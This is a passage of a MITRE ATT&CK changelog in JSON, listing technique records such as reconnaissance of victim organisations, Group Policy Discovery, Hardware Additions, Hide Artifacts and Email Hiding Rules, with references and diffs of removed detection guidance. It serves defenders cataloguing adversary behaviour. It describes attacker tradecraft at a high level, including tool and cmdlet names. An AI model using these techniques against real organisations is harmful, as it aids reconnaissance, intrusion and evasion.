"x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.846000+00:00\", \"old_value\": \"2025-04-15 22:38:32.343000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0890: Detection of Gather Victim Org Information" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:27:55.713000+00:00", + "modified": "2025-10-24 17:48:55.897000+00:00", + "name": "Business Relationships", + "description": "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization\u2019s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1591/002", + "external_id": "T1591.002" + }, + { + "source_name": "ThreatPost Broadvoice Leak", + "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.", + "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.897000+00:00\", \"old_value\": \"2025-04-15 21:54:59.306000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0855: Detection of Business Relationships" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:32:33.126000+00:00", + "modified": "2025-10-24 17:49:34.503000+00:00", + "name": "Determine Physical Locations", + "description": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1591/001", + "external_id": "T1591.001" + }, + { + "source_name": "ThreatPost Broadvoice Leak", + "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.", + "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/" + }, + { + "source_name": "SEC EDGAR Search", + "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved November 17, 2024.", + "url": "https://www.sec.gov/edgar/search/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.503000+00:00\", \"old_value\": \"2025-04-15 22:16:44.365000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0806: Detection of Determine Physical Locations" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:34:32.435000+00:00", + "modified": "2025-10-24 17:48:31.764000+00:00", + "name": "Identify Business Tempo", + "description": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1591/003", + "external_id": "T1591.003" + }, + { + "source_name": "ThreatPost Broadvoice Leak", + "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.", + "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.764000+00:00\", \"old_value\": \"2025-04-15 22:40:43.647000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0849: Detection of Identify Business Tempo" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:37:30.015000+00:00", + "modified": "2025-10-24 17:49:23.837000+00:00", + "name": "Identify Roles", + "description": "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1591/004", + "external_id": "T1591.004" + }, + { + "source_name": "ThreatPost Broadvoice Leak", + "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.", + "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.837000+00:00\", \"old_value\": \"2025-04-15 22:40:57.270000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0807: Detection of Identify Roles" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-08-06 13:10:12.916000+00:00", + "modified": "2025-10-24 17:48:28.148000+00:00", + "name": "Group Policy Discovery", + "description": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1615", + "external_id": "T1615" + }, + { + "source_name": "ADSecurity GPO Persistence 2016", + "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.", + "url": "https://adsecurity.org/?p=2716" + }, + { + "source_name": "Microsoft gpresult", + "description": "Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult" + }, + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/PowerShellEmpire/Empire" + }, + { + "source_name": "TechNet Group Policy Basics", + "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.", + "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ted Samuels, Rapid7", + "Jonhnathan Ribeiro, 3CORESec, @_w0rk3r" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Script: Script Execution\", \"Active Directory: Active Directory Object Access\", \"Process: Process Creation\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:28.148000+00:00\", \"old_value\": \"2025-04-15 22:38:54.812000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup.\\n\\nMonitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup.\\n-\\n-Monitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)", + "DS0026: Active Directory (Active Directory Object Access)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0055: Detection strategy for Group Policy Discovery on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:49:26.803000+00:00", + "name": "Hardware Additions", + "description": "Adversaries may physically introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access points to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1200", + "external_id": "T1200" + }, + { + "source_name": "Ossmann Star Feb 2011", + "description": "Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.", + "url": "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html" + }, + { + "source_name": "Aleks Weapons Nov 2015", + "description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.", + "url": "https://www.youtube.com/watch?v=lDvf4ScWbcQ" + }, + { + "source_name": "McMillan Pwn March 2012", + "description": "Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.", + "url": "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/" + }, + { + "source_name": "Frisk DMA August 2016", + "description": "Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.", + "url": "https://www.youtube.com/watch?v=fXthwl6ShOg" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Drive: Drive Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:26.803000+00:00\", \"old_value\": \"2025-04-15 19:59:11.434000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \\n\\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \\n-\\n-Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.\"}}}", + "previous_version": "1.7", + "changelog_mitigations": { + "shared": [ + "M1034: Limit Hardware Installation", + "M1035: Limit Access to Resource Over Network" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0016: Drive (Drive Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0069: Detect unauthorized or suspicious Hardware Additions (USB/Thunderbolt/Network)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-26 17:41:25.933000+00:00", + "modified": "2025-10-24 17:48:31.407000+00:00", + "name": "Hide Artifacts", + "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564", + "external_id": "T1564" + }, + { + "source_name": "Cybereason OSX Pirrit", + "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf" + }, + { + "source_name": "MalwareBytes ADS July 2015", + "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", + "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + }, + { + "source_name": "Sophos Ragnar May 2020", + "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.", + "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Office Suite", + "Windows", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"Application Log: Application Log Content\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Modification\", \"Firmware: Firmware Modification\", \"Service: Service Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Script: Script Execution\", \"User Account: User Account Creation\", \"Process: OS API Execution\", \"User Account: User Account Metadata\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.407000+00:00\", \"old_value\": \"2025-04-15 21:39:52.216000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1033: Limit Software Installation", + "M1047: Audit", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0001: Firmware (Firmware Modification)", + "DS0002: User Account (User Account Creation)", + "DS0002: User Account (User Account Metadata)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0022: File (File Creation)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0502: Detection Strategy for Hidden Artifacts Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-06-07 13:20:23.767000+00:00", + "modified": "2025-10-24 17:48:23.364000+00:00", + "name": "Email Hiding Rules", + "description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or 